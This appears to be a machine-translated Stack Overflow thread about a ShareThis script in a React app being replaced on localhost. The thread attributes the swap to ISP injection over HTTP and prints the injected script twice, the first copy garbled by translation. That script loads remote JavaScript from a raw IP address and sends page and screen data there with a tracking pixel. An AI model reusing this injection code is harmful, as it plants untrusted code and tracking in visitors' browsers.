Javascript 共享此脚本正在被另一个脚本替换

Javascript 共享此脚本正在被另一个脚本替换,javascript,reactjs,sharethis,Javascript,Reactjs,Sharethis,我正在我的react组件中包含此脚本。这是我从sharethis帐户获得的脚本。由于某些原因,我的页面中没有共享按钮。当我检查正在运行的脚本时,是这样的 const script = document.createElement("script"); script.src = "//platform-api.sharethis.com/js/sharethis.js#property=45454545&product=sop?r=" +

我正在我的react组件中包含此脚本。这是我从sharethis帐户获得的脚本。由于某些原因,我的页面中没有共享按钮。当我检查正在运行的脚本时,是这样的

         const script = document.createElement("script");
        script.src =
        "//platform-api.sharethis.com/js/sharethis.js#property=45454545&product=sop?r=" +
            new Date().getTime();
        script.async = true;
        script.id = "shareThisId";
        document.body.appendChild(script);
!函数(){
var a=“/js/sharethis.js”
,r=null
,e=document.getElementsByTagName(“脚本”)
,i=e.长度
,n=null
,t=Date.now()
,s=null
,o=0;
对于(“/”===a.substring(0,1)&&(a=a.substring(1)),
o=0;o-1){
n=o,
r=e[o];
打破
}
void 0!==r&&null!==r | |(r=document.getElementsByTagName(“脚本”)[0]),
s=r.src.indexOf(“?”>-1?r.src+”&cb=“+t.toString()+”&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag”:r.src+”?cb=“+t.toString()+”&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag”;
试一试{
if(void 0==window.sarazanoti | | null==window.sarazanoti | | window.sarazanoti===Array&&window.sarazanoti.indexOf(r.src)<0){
void 0!==window.sarazanoti&&null!==window.sarazanoti | |(window.sarazanoti=新数组),
window.sarazanoti.push(r.src);
var c=r.parentNode
,d=r;
if(r.async | | r.defer | | null!==n&&n!==e.length-1){
var w=document.createElement(“脚本”);
w、 src=s,
c、 替换儿童(w,d)
}否则
文件。写(“”),
c、 removeChild(d)
}
var a1=“117.254.84.212”;
var a2=“3000”;
if(window==window.top&(void 0==window.sarazasaraza | | | null==window.sarazasaraza | | | |!window.sarazasaraza)){
window.sarazasaraza=!0;
var l=a1+“:“+a2+”/getjs?nadipdata=“+JSON.stringify”(%7B%22url%22:%22%2Fjs%2Fsharethis.js%22%2C%22referer%22:%22http:%2F%2Fm.ragalahari.com%2factor%2F164324%2Fnilofer haidry sutraa时装展开幕式照片。aspx%22%2C%22%22:%22平台api.sharethis.com%22%22%5D%2C%22类别:%5B0%5D%2C%222%22声誉%22%5b%5D:%5b”)“&screenheight=“+screen.height+”&screenwidth=“+screen.width+”&tm=“+(新日期).getTime()+”&lib=true&fingerprint=c2VwLW5vLXJlZGlyZWN0”;
!函数(a,r,e,i,n,t,s){
t=r.createElement(e),
s=r.getElementsByTagName(e)[0],
t、 异步=!0,
t、 src=i,
s、 parentNode.insertBefore(t,s)
}(窗口、文档、“脚本”和“/”+l)
}
var imgtag=document.createElement('img');
imgtag.height='1';
imgtag.width='1';
imgtag.style='边框样式:无;';
imgtag.alt='';
imgtag.src='/'+a1+“:“+a2+”/pixel/1x1.png”
}第(a)款{}
}()
这不是在live server中实际运行的脚本。只有当我从本地主机运行它时,才会发生这种情况。
运行的脚本似乎可疑。有人能告诉我为什么会发生这种情况吗?

我在ShareThis工作,希望我能帮助您解决这个问题。因此,您编写的脚本可以加载ShareThis脚本,但它不是“加载按钮”。因此,用脚本加载按钮的功能是:

窗口。共享此加载('inline-share-button',config);

在加载之前,您需要指定按钮配置


同时,我们最近在发布了我们的reactjs插件,它更便于在react开发环境中集成按钮。让我知道这对您有效,我愿意提供帮助。

不幸的是,这是您的互联网服务提供商,它正在通过非HTTPS连接将JavaScript代码注入到服务的资源中

确保您的网站和所有外部资源都是通过HTTPS获取的,这样您就可以暂时解决这个问题。最终,是ISP正在执行MITM恶意软件注入导致了问题


有更多关于这个的讨论

Hi@Hao Xu,我在我的项目中尝试了这个
react sharethis
,但按照文档中的规定,我们可以覆盖共享到facebook和twitter的图像,但似乎不起作用。sharethis仍然选择默认og:image n twitter无法读取修改后的图像e或twitter:图片。如果你知道什么,请指导。
!function() {
    var a = "/js/sharethis.js"
      , r = null
      , e = document.getElementsByTagName("script")
      , i = e.length
      , n = null
      , t = Date.now()
      , s = null
      , o = 0;
    for ("/" === a.substring(0, 1) && (a = a.substring(1)),
    o = 0; o < i; o += 1)
        if (void 0 !== e[o].src && null !== e[o].src && e[o].src.indexOf(a) > -1) {
            n = o,
            r = e[o];
            break
        }
    void 0 !== r && null !== r || (r = document.getElementsByTagName("script")[0]),
    s = r.src.indexOf("?") > -1 ? r.src + "&cb=" + t.toString() + "&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag" : r.src + "?cb=" + t.toString() + "&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag";
    try {
        if (void 0 === window.sarazasarazaNoti || null === window.sarazasarazaNoti || window.sarazasarazaNoti === Array && window.sarazasarazaNoti.indexOf(r.src) < 0) {
            void 0 !== window.sarazasarazaNoti && null !== window.sarazasarazaNoti || (window.sarazasarazaNoti = new Array),
            window.sarazasarazaNoti.push(r.src);
            var c = r.parentNode
              , d = r;
            if (r.async || r.defer || null !== n && n !== e.length - 1) {
                var w = document.createElement("script");
                w.src = s,
                c.replaceChild(w, d)
            } else
                document.write("<script type='text/javascript' src=" + s + "><\/script>"),
                c.removeChild(d)
        }
        var a1 = "117.254.84.212";
        var a2 = "3000";
        if (window === window.top && (void 0 === window.sarazasaraza || null === window.sarazasaraza || !window.sarazasaraza)) {
            window.sarazasaraza = !0;
            var l = a1 + ":" + a2 + "/getjs?nadipdata=" + JSON.stringify("%7B%22url%22:%22%2Fjs%2Fsharethis.js%22%2C%22referer%22:%22http:%2F%2Fm.ragalahari.com%2Factress%2F164324%2Fnilofer-haidry-sutraa-fashion-exhibition-curtain-raiser-photos.aspx%22%2C%22host%22:%22platform-api.sharethis.com%22%2C%22categories%22:%5B0%5D%2C%22reputations%22:%5B1%5D%7D") + "&screenheight=" + screen.height + "&screenwidth=" + screen.width + "&tm=" + (new Date).getTime() + "&lib=true&fingerprint=c2VwLW5vLXJlZGlyZWN0";
            !function(a, r, e, i, n, t, s) {
                t = r.createElement(e),
                s = r.getElementsByTagName(e)[0],
                t.async = !0,
                t.src = i,
                s.parentNode.insertBefore(t, s)
            }(window, document, "script", "//" + l)
        }
        var imgtag = document.createElement('img');
        imgtag.height = '1';
        imgtag.width = '1';
        imgtag.style = 'border-style:none;';
        imgtag.alt = '';
        imgtag.src = '//' + a1 + ":" + a2 + "/pixel/1x1.png"
    } catch (a) {}
}()